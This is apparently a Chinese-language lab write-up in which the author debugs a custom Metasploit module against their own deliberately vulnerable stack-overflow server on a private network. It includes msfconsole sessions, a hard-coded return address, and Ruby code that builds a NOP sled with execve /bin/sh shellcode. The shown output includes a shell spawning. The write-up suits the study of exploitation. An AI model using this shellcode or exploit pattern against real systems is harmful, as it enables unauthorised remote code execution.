我们先尝试使用这个脚本进行攻击:
msf > use exploit/linux/myvictim msf exploit(myvictim) > set payload linux/x86/ set payload linux/x86/metsvc_bind_tcp set payload linux/x86/shell_reverse_tcp2 set payload linux/x86/metsvc_reverse_tcp msf exploit(myvictim) > set payload linux/x86/metsvc_bind_tcp payload => linux/x86/metsvc_bind_tcp msf exploit(myvictim) > set rhost 10.10.10.133 rhost => 10.10.10.133 msf exploit(myvictim) > set rport 7777 rport => 7777 msf exploit(myvictim) > exploit [*] Started bind handler [*] Sending 116 byte payload... [*] Exploit completed, but no session was created.
server端显示:
[email protected]:/mnt/hgfs/r/stack$ ./server socket bind listen server is run... accept The IP of client is:10.10.10.128 The Port of client is:52308 close-new_fd 2 recv accept sp=0xbffff488,addr=0xbffff4a4 bytes.
显然攻击目的没有,达到,具体原因有两个(我认为的),第一是返回值部分不对,第二是payload本身是不是有问题
我们一一修改:
‘MyVictimSever run on linux‘, { ‘Platform‘ => ‘Linux‘, ‘Ret‘ => 0xbffff4a4 }
第二,我们payload首先采用最先验证过的运行/bin/sh的shellcode
# Build the buffer for transmission buf=""; buf = make_nops(15); buf+="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" buf+="\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" buf+="\x80\xe8\xdc\xff\xff\xff/bin/sh"; #buf+="\xa4\xf4\xff\xbf" #buf += payload.encoded buf += [].fill( target.ret,0,100).pack(‘V*‘)
尤其注意最前我们补充的nop 指令的数量是15,我在这里卡了很久,就是因为指令对齐问题,显然32位平台上,应该是四字节对齐的。
然后运行
msf exploit(myvictim) > rexploit [*] Reloading module... [*] Started bind handler [*] Sending 116 byte payload... [*] Exploit completed, but no session was created.
注意这里运行的是rexploit,这个表示重新载入模块,并执行,因为我刚刚修改过了。
可以看到server端:
The IP of client is:10.10.10.128 The Port of client is:47336 close-new_fd 2 accept recv sp=0xbffff488,addr=0xbffff4a4 bytes. $ $
这里用的shellcode是自己生成的,没有用payload.encoded,是因为我尝试用payload,但是没有任何反应,应该是编码以后不能执行造成的。
时间: 2024-10-25 08:45:58